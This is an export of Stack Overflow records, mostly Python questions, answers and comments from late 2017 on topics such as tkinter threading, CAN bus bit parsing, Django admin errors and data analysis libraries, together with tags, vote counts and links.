has body: I am a student and am pretty new to python. I am trying to validate the user input to check whether or not they entered a 3 digit number, they should only be able to enter a 2 digit number. The program works fine when the user enters only 2 digits but when they enter 3 or more, it throws the error message I created and asks them to re-enter a number that is only 2 digits, then once they re-enter a 2 digit number python gives me the TypeError. The full error I am getting is: Traceback (most recent call last): File "/Users/admin/Desktop/week6/question_7.py", line 87, in &lt;module&gt; File "/Users/admin/Desktop/week6/question_7.py", line 79, in do_stuff print (display_grade(user_in)) TypeError: int() argument must be a string, a bytes-like object or a number, not 'NoneType' I am having trouble figuring out why it is doing this. I have a feeling it has something to do with the calling the get_input() function inside of itself? I can't figure out how to avoid this though. I searched the error I keep getting and couldn't find anything that helped. Here's the program, it's pretty simple. NUMBER_OF_TESTS = 5 def get_input (): print ('enter a test score below') user_in = input() if len(user_in) &gt; 2: print ('error, you can only enter a 2 digit number.') get_input() else: return user_in def display_grade (letter_grade): if letter_grade &gt;= 89: return ('You got an A!') elif letter_grade &gt;= 80 and letter_grade &lt;= 89: return ('You got a B!') elif letter_grade &gt;= 70 and letter_grade &lt;= 79: return ('You got a C') elif letter_grade &gt;= 61 and letter_grade &lt;= 69: return ('You got a D') else: return ('You got an F') def calAverage(total): average_score = (total) / NUMBER_OF_TESTS return int(average_score) def do_stuff(): i = 0 x = 0 while i &lt; NUMBER_OF_TESTS: user_in = int(get_input()) print (display_grade(user_in)) x = x + user_in i = i + 1 print ('your average score is' , calAverage(x) , 'which means' , display_grade(calAverage(x))) do_stuff()
upvote count: 1
score: 1
favorite count: 0
type: Question
type: AnsweredQuestion
tagged with: typeerror
duplicate of: http://stackoverflow.com/q/17778372

http://stackoverflow.com/a/47352942
has body: There may be a way of doing it within the format list, but here is an alternative: print('{}-fold STRATIFIED Cross-validation scores: {}'.format( n_splits, ["{:.3f"}.format(member) for member in logreg_scores] )) This will create a new list of strings where each member is a string of a 3dp float. You could make it easier to read by moving it up into the line above: formatted_logreg_scores = ["{:.3f"}.format(member) for member in logreg_scores] print('{}-fold STRATIFIED Cross-validation scores: {}'.format( n_splits, formatted_logreg_scores))
has comment: http://stackoverflow.com/comment/81667019
has comment: http://stackoverflow.com/comment/81660224
type: Answer
answers question: http://stackoverflow.com/q/47352815
score: 0
has comment: http://stackoverflow.com/comment/81658529

http://stackoverflow.com/comment/81630378
comment on: http://stackoverflow.com/a/47338663
score: 0
has text: Definitely! I was just waiting for the minimum time.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81614219
has text: Thank you! This worked like a charm. Those damn brackets took away 2 hours of my life lmao
comment on: http://stackoverflow.com/a/47331678
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81412953
type: AnswerComment
comment on: http://stackoverflow.com/a/47230938
has text: Okay the hard-coded paths in the `activate` script makes sense. Thanks very much! I'll take a look at Pipenv!
score: 0
type: Comment

http://stackoverflow.com/q/47329419
linked to: http://stackoverflow.com/q/47307157
has answer: http://stackoverflow.com/a/47329750
has comment: http://stackoverflow.com/comment/81609827
upvote count: 5
has comment: http://stackoverflow.com/comment/81610413
has body: I'm working on an "multilayered" GUI for my company to monitor temperature and status. Because I'm quite new to the python programming, I could use some help with my code. Quick code explanation: The code is structured by classes. The "Main" inits the main window (tkinter) and creates the other frames to display if wanted. Every other class, except "canvas", is a frame which will display different things. The canvas in each contains an image and some text/variable text. A thread is used to get data from a database and change the text in the canvas. The Problem: Every time, the thread accessed the canvas and tries to change the text or create an new one, the error "main thread is not in main loop" is thrown. Exception in thread Thread-1: Traceback (most recent call last): File "/usr/lib/python3.4/threading.py", line 920, in _bootstrap_inner self.run() File "/usr/lib/python3.4/threading.py", line 868, in run self._target(*self._args, **self._kwargs) File "/home/pi/Documents/Programme/MM/TEST_Dateien/TEST_QUEUE.py", line 154, in __call__ canvUbersicht.create_text(500,500, text="HOIIIIII") File "/usr/lib/python3.4/tkinter/__init__.py", line 2345, in create_text return self._create('text', args, kw) File "/usr/lib/python3.4/tkinter/__init__.py", line 2321, in _create *(args + self._options(cnf, kw)))) RuntimeError: main thread is not in main loop If I init the thread without calling the canvas (e.g. "print("hey")), everything works fine. Where does my mainloop / mainthread begin and where do they end? I have already read several Questions and rearranged the code / thread, but it won't change anything. I would be really happy, if someone could help me. important code: from tkinter import* from DataSQL import* class Main(Tk): def __init__(self, vollbild=False): print("Main INIT") Tk.__init__(self) #Initialisieren von Tkinter und somit erzeugen des Fensters Tk.geometry(self, ("1920x1080")) #setzen von verschiedenen Parametern für das Fenster Tk.title(self, ("Laborüberwachun…
has comment: http://stackoverflow.com/comment/81609706
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81610071
tagged with: tkinter
score: 5
tagged with: canvas
has comment: http://stackoverflow.com/comment/81613639
has title: python | tkinter and threading: "main thread is not in main loop"
type: UnansweredQuestion
tagged with: multithreading
answer count: 1
downvote count: 0
tagged with: python

http://stackoverflow.com/comment/81713711
comment on: http://stackoverflow.com/q/47380570
type: QuestionComment
score: 1
has text: Actually a numpy array with mixed strings and integers is not good practice. Switching to `object` dtype works, but looses most of the benefits of arrays (such as fast numeric calculations).
type: Comment

http://stackoverflow.com/q/47355234
has answer: http://stackoverflow.com/a/47451119
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has body: I am reading in a series of CAN BUS frames from python-can represented as hex strings, e.g. '9819961F9FFF7FC1' and I know the values in each frame are laid out as follows: Signal Startbit Length A 0 8 B 8 4 C 12 4 D 16 12 E 28 12 F 40 16 G 56 4 With each value being an unsigned integer, with little endian byte order. Where I am struggling is how to deal with the 12 bit signals, and how to do it fast as this will be running in real time. As far as I understand struct.unpack only supports 1,2,4, and 8 byte integers. The Bitstring package also only supports whole-byte bitstrings when you specify the endianness. I clearly don't understand binary well enough to do it by manipulating the bits directly because I have been tearing my hair out trying to get sensible values...
answer count: 1
type: Question
has title: Reading 12bit little endian integers from can frame
tagged with: binary
tagged with: can-bus
tagged with: python
tagged with: endianness
accepted answer: http://stackoverflow.com/a/47451119

python-2.6
type: Tag
tag name: python-2.6
tags question: http://stackoverflow.com/q/47317393
tags question: http://stackoverflow.com/q/47246796
tags question: http://stackoverflow.com/q/47248385

http://stackoverflow.com/comment/81635496
type: QuestionComment
has text: It sounds like you want to run Page Rank on a network, and then add a layer to the network and run page rank again. If so, all of the above libraries you mentioned are sufficient. If you are just starting out, NetworkX may be ideal - it's executed entirely in python and you can explore the network easily as an abstracted dictionary. For this reason, it is both most easily comprehensible but also the least performant. Depending on the subject matter, though, and the environment within which it is being run, it may be sufficient.
comment on: http://stackoverflow.com/q/47338678
score: 0
type: Comment

http://stackoverflow.com/comment/81503884
type: AnswerComment
has text: I don't know Sraw!, let's plan for a beer to discuss that hahah, I've upvoted ;)
comment on: http://stackoverflow.com/a/47276317
score: 0
type: Comment

http://stackoverflow.com/q/47362902
score: -1
has title: django on production 500 server error for User related Model in Admin
has body: I have deployed my Django(1.10) site on google compute engine, everything was working fine, but suddenly one of my model throwing 500 Server Error in admin. I have googled around but couldn't find any solution. All other models are displaying properly in django admin except only one and that's TaggedArticles model. Idon't have changed anything in my site, what's can be wrong? as it happens suddenly to my site. Here's my code: settings.py: """ Django settings for brain project. Generated by 'django-admin startproject' using Django 1.10.5. For more information on this file, see https://docs.djangoproject.com/en/1.10/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.10/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # For a test push to trigger build from codeship. # Second thing for CodeShip deployment push # See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '*******************' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = False ALLOWED_HOSTS = ['127.0.0.1', '35.202.165.136', 'brainresearchtagging.com', 'www.brainresearchtagging.com', ] # INTERNAL_IPS = ['127.0.0.1'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'debug_toolbar', 'users', 'article', 'import_export', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'whitenoise.middleware.WhiteNoiseMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'debug_toolbar.middleware.DebugToolbarMiddleware', 'django.middleware.csr…
has answer: http://stackoverflow.com/a/47366912
tagged with: python-3.x
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/81684202
answer count: 1
tagged with: django
upvote count: 1
has comment: http://stackoverflow.com/comment/81681561
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81681275
tagged with: django-admin
has comment: http://stackoverflow.com/comment/81678733
tagged with: django-models
tagged with: python

http://stackoverflow.com/q/47331548
tagged with: numpy
has comment: http://stackoverflow.com/comment/81614066
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/43153067
tagged with: python
linked to: http://stackoverflow.com/q/24733185
tagged with: surface
has comment: http://stackoverflow.com/comment/81618864
score: 2
tagged with: interpolation
has answer: http://stackoverflow.com/a/69003802
linked to: http://stackoverflow.com/q/8792551
answer count: 2
has body: Given a set of data (x,y,z) with z>0 (around 10^4 points), I want to find the volume under the surface it describes using python. All these data points are randomly generated and unsorted, but from the 3D plot the surface is smooth and vanishing. See here plotted data So far, I have checked the following related topics Using Convex Hull : _Among other errors this one: QhullError: QH6114 qhull precision error: initial simplex is not convex. Trapezoidal: Although it runs, I don't trust in the result, since even generating half sphere shell the volume was wrong. Other Convex Hull: Same errors as before. I also though I could make a grid and interpolate and then compute the double integral # Given independents numpy.ndarray x2, y2, and z2 # Set up a regular grid of interpolation points x1i = np.linspace(x2.min(), x2.max(), 1000) y1i = np.linspace(y2.min(), y2.max(), 1000) x1i, y1i = np.meshgrid(x1i, y1i) # Interpolate; z1i = scipy.interpolate.griddata((x2, y2), z2, (x1i, y1i), method='linear') But then I don't know how to implement dblquad given the griddata integrate.dblquad(z1i, min(x2),max(x2),lambda x: min(y2), lambda x: max(y2), epsabs=1.49e-08, epsrel=1.49e-08) doesn't work. How can I do it?
upvote count: 2
has title: How to get volume under a surface given by irregular data points using python?
downvote count: 0
has answer: http://stackoverflow.com/a/72373492
has comment: http://stackoverflow.com/comment/81615631
favorite count: 0
type: Question

http://stackoverflow.com/a/71009567
answers question: http://stackoverflow.com/q/47295316
score: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/125664698
upvote count: 2
type: Answer
has body: For me the below steps worked in my Jupyter: pip install spacy import spacy from spacy.cli import download print(download('en_core_web_sm'))

http://stackoverflow.com/q/47232298
downvote count: 0
answer count: 1
has body: I'm analyzing a set of data and I need to find the regression for it. Th number of data points in the dataset are low (~15) and I decided to use the robust linear regression for the job. The problem is that the procedure is selecting some points as outlier that do not seem to be that influential. Here is scatter plot of the data, with their influence used as size: Point B and C (shown with red circle in the figure) are selected as outliers, while point A which has way higher influence is not. Although point A does not change the general trend of the regression, it is basically defining the slope along with the point with the highest X. Whereas point B and C are only affecting the significance of slope. So my question has two parts: 1) What is the RLM package's method for selecting outliers if the most influential point is not selected and do you know of other packages that have a outlier selection that I have in mind? 2) Do you think that point A is an outlier?
favorite count: 0
accepted answer: http://stackoverflow.com/a/47232750
has answer: http://stackoverflow.com/a/47232750
type: Question
upvote count: 2
tagged with: python
has title: Python statsmodel robust linear regression (RLM) outlier selection
tagged with: statsmodels
score: 2
tagged with: linear-regression
type: AnsweredQuestion
tagged with: regression

http://stackoverflow.com/a/47306443
upvote count: 1
has body: You can check with isdigit() but default isdigit() method only works for int not for float so you can define your own isdigit() which will work for both: import requests from bs4 import BeautifulSoup import time import threading new=[] def isdigit(d): try: float(d) return True except ValueError: return False def bitcoin_scheduler(): url = "https://coinmarketcap.com/currencies/bitcoin/" r = requests.get(url) offline_data = r.content soup = BeautifulSoup(offline_data, 'html.parser') name_box = soup.find('small', attrs={'class': 'bold hidden-xs'}) name = name_box.text.strip() price_box = soup.find('span', attrs={'class': 'text-large'}) price = price_box.text.strip('$') if isdigit(price)==True: price=float(price) #do your stuff with price print(time.ctime(), name,price) print(type(price)) threading.Timer(5.0, bitcoin_scheduler).start() bitcoin_scheduler() output: Wed Nov 15 17:07:22 2017 (BTC) 7003.54 &lt;class 'float'&gt; Wed Nov 15 17:07:54 2017 (BTC) 7003.54 &lt;class 'float'&gt;
type: Answer
answers question: http://stackoverflow.com/q/47306156
downvote count: 0
score: 1

http://stackoverflow.com/comment/81400002
comment on: http://stackoverflow.com/q/47224818
has text: Do you know the line numbers or the content of the lines where you want to start and end? My answer assumes you know the line numbers, but I may have misunderstood your question.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47245218
has comment: http://stackoverflow.com/comment/81441487
type: Question
has body: I'm new to PyQt and Python as a whole (more familiar with Java) and I'm trying to make an application where data is inserted and retrieved into the database. For the connection to the database, I'm using mysql connector. I'm able to insert and retrieve data just fine but I'm not sure how to implement the GUI portion of my application. What I want to do is have a login window that connected to the database for the main window to then insert data read from the file into the database and retrieve data based on what was selected by the user. Clicking "Sign in" should close the Login Window and open the Main Windows which shows a progress bar while inserting and should display results which users can sort by ( have not implemented it yet. What are ways I could improve my program? My program sometimes hangs. How could I go about my approach? Is there an equivalent to Java's JFrame.dispose() in Python which closes then Window and clicking on a button? The Login Window: import sys from PyQt4 import QtGui, QtCore from PyQt4.Qt import QPushButton, QLabel from PyQt4.QtGui import QPlainTextEdit from PyQt4.QtGui import QLineEdit from MainGUI import MainGUI import time class LoginGUI(QtGui.QMainWindow): def __init__(self): super(LoginGUI, self).__init__() self.setGeometry(730, 350, 500, 300) self.setWindowTitle("Login") self.initGUI() def initGUI(self): titleLabel = QLabel("Login", self) titleLabel.move(200, 20) titleLabel.setFont(QtGui.QFont("", 20)) loginLabel = QLabel("Username: ", self) loginLabel.move(135, 120) passwordLabel = QLabel("Password: ", self) passwordLabel.move(135, 150) loginText = QPlainTextEdit("root", self) loginText.move(195, 120) passwordText = QLineEdit("",self) passwordText.move(195, 150) passwordText.setEchoMode(QtGui.QLineEdit.Password) loginBtn = QtGui.QPushButton("Sign in", self) loginBtn.clicked.connect(lambda: self.connectToDB(loginText.toPlainText(), passwordText.text())) loginBtn.resize(loginBtn.sizeHint()) loginBtn.move(170, 250) quitBtn = QtGui.Q…
has comment: http://stackoverflow.com/comment/81441263
has comment: http://stackoverflow.com/comment/81441234
has comment: http://stackoverflow.com/comment/81441217
has comment: http://stackoverflow.com/comment/81441616
type: UnansweredQuestion
tagged with: pyqt4
tagged with: python
has comment: http://stackoverflow.com/comment/81440994
has comment: http://stackoverflow.com/comment/81441472
has comment: http://stackoverflow.com/comment/81441201
has answer: http://stackoverflow.com/a/47252100
score: 0
has title: PyQt4 Questions and Login WIndow to Main Window in Python
has comment: http://stackoverflow.com/comment/81441304
tagged with: user-interface
answer count: 1
tagged with: mysql
has comment: http://stackoverflow.com/comment/81441321

http://stackoverflow.com/a/47347586
type: Answer
has comment: http://stackoverflow.com/comment/81692582
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81704613
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47324511
answers question: http://stackoverflow.com/q/47324511
has body: The CNTKLib class in the CNTK namespace provides several learners, even not all of those you have listed. I list them in the following without their overloads. public static Learner SGDLearner(ParameterVector parameters, TrainingParameterScheduleDouble learningRateSchedule); public static Learner MomentumSGDLearner(ParameterVector parameters, TrainingParameterScheduleDouble learningRateSchedule, TrainingParameterScheduleDouble momentumSchedule); public static Learner FSAdaGradLearner(ParameterVector parameters, TrainingParameterScheduleDouble learningRateSchedule, TrainingParameterScheduleDouble momentumSchedule); public static Learner AdamLearner(ParameterVector parameters, TrainingParameterScheduleDouble learningRateSchedule, TrainingParameterScheduleDouble momentumSchedule); public static Learner AdaGradLearner(ParameterVector parameters, TrainingParameterScheduleDouble learningRateSchedule); public static Learner RMSPropLearner(ParameterVector parameters, TrainingParameterScheduleDouble learningRateSchedule, double gamma, double inc, double dec, double max, double min); public static Learner AdaDeltaLearner(ParameterVector parameters, TrainingParameterScheduleDouble learningRateSchedule); You easily can access them like the following: using CNTK; CNTKLib.AdaDeltaLearner([...]) This was done with the GPU version of CNTK 2.2. Maybe it is different with the CPU version.

http://stackoverflow.com/q/47289351
score: -1
tagged with: firebase
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/47336599
accepted answer: http://stackoverflow.com/a/47336599
answer count: 1
downvote count: 1
tagged with: url
has body: I'm storing some images in firebase, firebase gives me an url to download the image like this one: https://firebasestorage.googleapis.com/v0/b/afel-orders-mirror.appspot.com/o/stock_pictures%2F1000%2Falicate%20cortante%20electronica.jpg?alt=media&amp;token=f2d54a3b-0526-4b9a-99ff-4c38c468757c the permissions to download the images are full open I want to upload the images through a rest api in another server from MercadoLibre (api.mercadolibre.com) to upload the images I have to send the pictures like this {"source":"https://firebasestorage.googleapis.com/v0/b/afel-orders-mirror.appspot.com/o/stock_pictures%2F1000%2Falicate%20cortante%20electronica.jpg?alt=media&amp;token=f2d54a3b-0526-4b9a-99ff-4c38c468757c"} via POST The problem is that the server from mercadolibre encodes the url, and broke the url and the server tries to download the images from this url https://firebasestorage.googleapis.com/v0/b/afel-orders-mirror.appspot.com/o/stock_pictures%252F1000%252Falicate%2520cortante%2520electronica.jpg%3Falt%3Dmedia%26token%3Df2d54a3b-0526-4b9a-99ff-4c38c468757c notice the %25 this link gives the following error { "error": { "code": 404, "message": "Not Found. Could not get object" } } so in python i tried to decode the first url https://firebasestorage.googleapis.com/v0/b/afel-orders-mirror.appspot.com/o/stock_pictures/1000/alicate cortante electronica.jpg?alt=media&amp;token=f2d54a3b-0526-4b9a-99ff-4c38c468757c (this link gives the following error) { "error": { "code": 400, "message": "Invalid HTTP method/URL pair." } } with the idea that when the mercadolibre server encodes the url i get the original, but the problem is that only the "/" after "/o/" should be converted to %2F I have no control over the url encoding (which is automatic in the mercadolibre server), what can i do to send a url that after is encoded i get the original url in a valid format?? thanks.
favorite count: 0
type: Question
tagged with: url-encoding
tagged with: rest
has title: firebase downloading an image url encode error
tagged with: python

http://stackoverflow.com/a/47294016
answers question: http://stackoverflow.com/q/47293969
has body: Since we are expecting N's value to be higher than counter's value, counter-N will be negative. Try the following: import sys N = int(sys.argv[1]) # Your code goes here counter = 0 while counter &lt;= N: print(N-counter) counter = counter + 1
type: Answer
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81542638

http://stackoverflow.com/q/47283684
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/47283925
accepted answer: http://stackoverflow.com/a/47283925
favorite count: 0
has title: alpha in sklearn LogisticRegression python
tagged with: logistic-regression
type: Question
score: 3
has body: What is the default alpha in sklearn LogisticRegression with l1 penalty? lmMod = LogisticRegression(penalty='l1')
tagged with: python
upvote count: 4
type: AnsweredQuestion

http://stackoverflow.com/q/47344754
type: UnansweredQuestion
tagged with: arrays
score: -3
tagged with: python
tagged with: lowercase
has comment: http://stackoverflow.com/comment/81642402
has comment: http://stackoverflow.com/comment/81641431
tagged with: module
has comment: http://stackoverflow.com/comment/81642936
has body: I have the problem, that I am trying to run a function which has as input an array of strings and before making some if-statement I am lowering the strings. somehow i am receiving the error message AttributeError: 'list' object has no attribute 'lower' It is not clear for me why do I receive it. The funny part is, If I have both in one script it works. If I source the function out and load it into another script it does not work. The code looks like the following: def Calc(String_Array1, String_Array2): String_Array1 = String_Array1.lower() String_Array2 = String_Array2.lower() if String_Array1 == "a": print(String_Array1) elif String_Array2 == "b": print(String_Array2) else: raise Exception("Something went wrong") return 0 I am running then my own module like the following import helper_module as hm String_Array1 = ["A"] String_Array2 = ["B"] test = hm.CalcFXFwdCurve(String_Array1,String_Array2) print(test)
upvote count: 0
downvote count: 3
has comment: http://stackoverflow.com/comment/81641295
has comment: http://stackoverflow.com/comment/81641238
has comment: http://stackoverflow.com/comment/81642408
answer count: 1
has comment: http://stackoverflow.com/comment/81641303
has comment: http://stackoverflow.com/comment/81642375
tagged with: string
has answer: http://stackoverflow.com/a/47345804
has comment: http://stackoverflow.com/comment/81641313
has title: Getting error message: AttributeError: 'list' object has no attribute 'lower' in Python
favorite count: 0
type: Question

http://stackoverflow.com/comment/81695177
type: Comment
has text: I plotted my data in LibreOffice. Polynom 2 deg is ok. What I got you can see in the code above: `#result -225256.888955`
score: 0
comment on: http://stackoverflow.com/q/47371118
type: QuestionComment

http://stackoverflow.com/a/47255094
accepted answer of: http://stackoverflow.com/q/47254811
type: Answer
has comment: http://stackoverflow.com/comment/81460795
score: 0
has comment: http://stackoverflow.com/comment/81461099
type: AcceptedAnswer
has body: The key to this problem lies in the printout of the first iteration: 0.0 1.04 &lt;type 'float'&gt; &lt;type 'numpy.float64'&gt; the first iteration has float as an input and it works. The remaining values, however, are elements of a numpy array and are formatted as numpy floats. This is what the dataframe does not accept. z0 = float(z0) zi = float(zi) does the trick. Now, the question is... why? If we print turnz.dtype and df['Z'] dtype, both are float64, so they seem to be the same. But python treats them differently, as explained in this answer
answers question: http://stackoverflow.com/q/47254811

http://stackoverflow.com/comment/81589366
type: Comment
type: QuestionComment
score: 0
has text: First of all, you can't have leading `__` in a variable name and then access it as you are.
comment on: http://stackoverflow.com/q/47319066

http://stackoverflow.com/q/47371785
has comment: http://stackoverflow.com/comment/81696583
has body: I am new to python and trying to learn. Say i have a list: lst = [22, 36, 47, 2, 13] I know I can use max(lst) to get the max element but I want to know how to do this using a lamda function. Can anyone show me?
score: -4
downvote count: 7
favorite count: 0
has title: Use a lambda function to find the maximum of a list in python
type: Question
has answer: http://stackoverflow.com/a/47371807
possible better answer: http://stackoverflow.com/a/47371807
tagged with: python
tagged with: lambda
type: AnsweredQuestion
upvote count: 3
answer count: 2
has answer: http://stackoverflow.com/a/47371800
accepted answer: http://stackoverflow.com/a/47371800

http://stackoverflow.com/comment/81711694
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47379715
has text: @Oliver Charlesworth: Yes !
type: Comment

http://stackoverflow.com/a/58372447
score: 2
type: Answer
has comment: http://stackoverflow.com/comment/104845445
upvote count: 2
answers question: http://stackoverflow.com/q/47258151
downvote count: 0
has body: For building matlab documentation (which I believe is similar to HTMLHelp), I found that it is possible to hide the side-bar using a additional CSS: .wy-nav-side { display: none; } .wy-nav-content-wrap { margin-left: 0; } Then in the conf.py file I added the CSS file: html_static_path = ['_static'] html_css_files = [ 'css/matlabdoc.css', ] This doesn't remove the side-bar, but at least it hides it. Might help. Looking through the RTD theme, it might also be possible to remove the side-bar by changing the search.html and localtoc.html default files in conf.py by setting them with html_sidebars = {}.

http://stackoverflow.com/q/47284962
has body: I'm using Dask to read in a table with around 14 million rows using read_sql_table. When I read the dataframe using itertuples the index (which is ordered in the table) is not read out sequentially for one or two partitions. How is it possible to enforce this? The row_id is generated by row_number (on the view) and is used as the index when generating the dataframe. I know Pandas has a sorted=True arg, anything similar? This is what happens at the moment, while reading the data in (number of rows read should match the current index): INFO - Read 11870000 Rows (index: 11870000) INFO - Read 11880000 Rows (index: 11880000) INFO - Read 11890000 Rows (index: 11890000) INFO - Read 11900000 Rows (index: 11900000) --INFO - Read 11910000 Rows (index: 12159912)-- INFO - Read 11920000 Rows (index: 12169912) INFO - Read 11930000 Rows (index: 12179912) INFO - Read 11940000 Rows (index: 12189912) All is good until the 11,900,000th row, and at that point it switches in the wrong partition.
tagged with: pandas
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81532907
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81530950
has title: Dask - Reading partitions in order using itertuples
favorite count: 0
type: Question
tagged with: dask
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47305698

http://stackoverflow.com/comment/81641541
score: 0
type: Comment
has text: That's what I was thinking. If there is no better way that's what I'll do. Thanks!
type: AnswerComment
comment on: http://stackoverflow.com/a/47333435

http://stackoverflow.com/comment/81605395
type: Comment
has text: I would like to give my question a more specific one. Why aren't all exeptions passed through -- readable, writable, exceptional = select. select (inputs, outputs, inputs) -- to the exceptional handler?
type: QuestionComment
comment on: http://stackoverflow.com/q/47309294
score: 0

http://stackoverflow.com/comment/104717037
has text: This is true only if all columns contain the same number of non-NA values.
score: 0
comment on: http://stackoverflow.com/a/59145954
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47333131
type: Answer
accepted answer of: http://stackoverflow.com/q/47331192
has comment: http://stackoverflow.com/comment/81686024
has body: When you the time and story, only the game mechanism remains. I also removed the dead = False and not dead since it does nothing (you already are alive). This makes the code look something like: dead = False ally = input("Ally?: ") if ally == 'Yes': ally = True else: ally = False if ally: # first scene with ally pick = input("Which way?: ") if pick == 'Right' or pick == 'right': ally = False if pick == 'Left' or pick == 'left': pass if not ally: # first scene without ally pick = input("Which way?: ") if pick == 'Right' or pick == 'right': pass if pick == 'Left' or pick == 'left': pass if ally: # end scene with ally print("Option with ally") ## temp statement print('End') if not ally: # end scene without ally print("Option without ally") ## temp statement print('End') You basically got two parts: an interactive one and an end scene. This results in the following options: You have an ally and go to right: go to end scene without ally. You have an ally and go to left: go to end scene with ally. You have no ally and go to right: you're dead, no end scene for death. You have no ally and go to left: go to end scene without ally. I'm not sure when you say that it doesn't work, what doesn't work, but my guesses are it must be something in the game mechanism. Or else maybe you put a wrong text on the wrong place. Anyway, hope this helps. almost forgot: on line 94 you have if pick == 'Left' or 'left' , which should be: if pick == 'Left' or pick == 'left' .
has comment: http://stackoverflow.com/comment/81732588
has comment: http://stackoverflow.com/comment/81709220
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81780900
has comment: http://stackoverflow.com/comment/81721545
answers question: http://stackoverflow.com/q/47331192
has comment: http://stackoverflow.com/comment/81704607

http://stackoverflow.com/q/47334197
tagged with: python-import
has comment: http://stackoverflow.com/comment/81620115
has comment: http://stackoverflow.com/comment/81620264
upvote count: 2
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81620055
favorite count: 0
has comment: http://stackoverflow.com/comment/81619921
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81619869
has title: Load module to invoke its decorators
has comment: http://stackoverflow.com/comment/81619741
has body: I have a program consistring of several modules specifying the respective web application handlers and one, specifying the respective router. The library I use can be found here. Excerpt from webapp.service (there are more such modules): from webapp.router import ROUTER @ROUTER.route('/service/[id:int]') class ServicePermissions(AuthenticatedService): """Handles service permissions.""" NODE = 'services' NAME = 'services manager' DESCRIPTION = 'Manages services permissions' PROMOTE = False webapp.router: ROUTER = Router() When I import the webapp.router module, the webapp.service module does obviously not run. Hence, the @ROUTER.route('/service/[id:int]') decorator is not run and my web aplication will fail with the message, that the respective route is not available. What is the best practice in that case to run the code in webapp.service to "run" the decorators? I do not really need to import the module itself or any of its members.
tagged with: python
accepted answer: http://stackoverflow.com/a/47337069
tagged with: python-decorators
has answer: http://stackoverflow.com/a/47337069
has comment: http://stackoverflow.com/comment/81620320
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81619865

http://stackoverflow.com/a/47348031
type: Answer
has comment: http://stackoverflow.com/comment/81756373
accepted answer of: http://stackoverflow.com/q/47339706
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/81734158
downvote count: 0
answers question: http://stackoverflow.com/q/47339706
has comment: http://stackoverflow.com/comment/81648353
has comment: http://stackoverflow.com/comment/81660142
has comment: http://stackoverflow.com/comment/81666657
has body: The screenshot shows the following values: id : 892886691937214500 id_str : 892886691937214465 It looks like somewhere along the way the value is converted to an IEEE754 double, which cannot safely represent the latter value. So there is potentially some precision loss due to conversion. A quick example in node.js (JavaScript is using IEEE754 doubles for any number values greater than 0xffffffff) shows that this is likely the problem cause: $ node &gt; 892886691937214500 892886691937214500 &gt; 892886691937214465 892886691937214500 So the question is where the conversion does happen. Can you check whether the python client program is correctly sending the expected values to ArangoDB, or does it already send the converted/truncated values? In general, any integer number that exceeds 0x7fffffffffffffff will be truncated when stored in ArangoDB, or converted to an IEEE754 double. This can be avoided by storing the number values inside a string, but of course comparing two number strings will produce different results than comparing two numbers (e.g. "10" &lt; "9" vs. 10 &gt; 9).
type: AcceptedAnswer

http://stackoverflow.com/a/47337201
has body: You can turn repl into an iterator and use a generator expression to replace any value in phone with the next value in the repl iter if the original value is a digit. Re-combine that together with ''.join to get a string as a result, and Bob's your uncle. repliter = iter(str(repl)) result = ''.join(next(repliter) if c.isdigit() else c for c in phone) # the ternary expression here evaluates to: # if c.isdigit(): # next(repliter) # else: # c Note that this will crash with a StopIteration error if your phone number contains more than 10 digits, so consider using itertools.cycle for repliter instead. import itertools repliter = itertools.cycle(str(repl)) # 1 2 3 4 5 6 7 8 9 0 1 2 3 ...
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47337117
has comment: http://stackoverflow.com/comment/81626412
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81626383
has comment: http://stackoverflow.com/comment/81626342
type: Answer
has comment: http://stackoverflow.com/comment/81626533
answers question: http://stackoverflow.com/q/47337117
has comment: http://stackoverflow.com/comment/81626369
has comment: http://stackoverflow.com/comment/81626968
score: 3
upvote count: 3

http://stackoverflow.com/a/63490217
has body: Just Perform a sort_index() operation on dataframe. df.set_index(["State","RegionName"], inplace = True).sort_index()
downvote count: 0
answers question: http://stackoverflow.com/q/47253155
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/comment/81498244
score: 0
type: Comment
type: QuestionComment
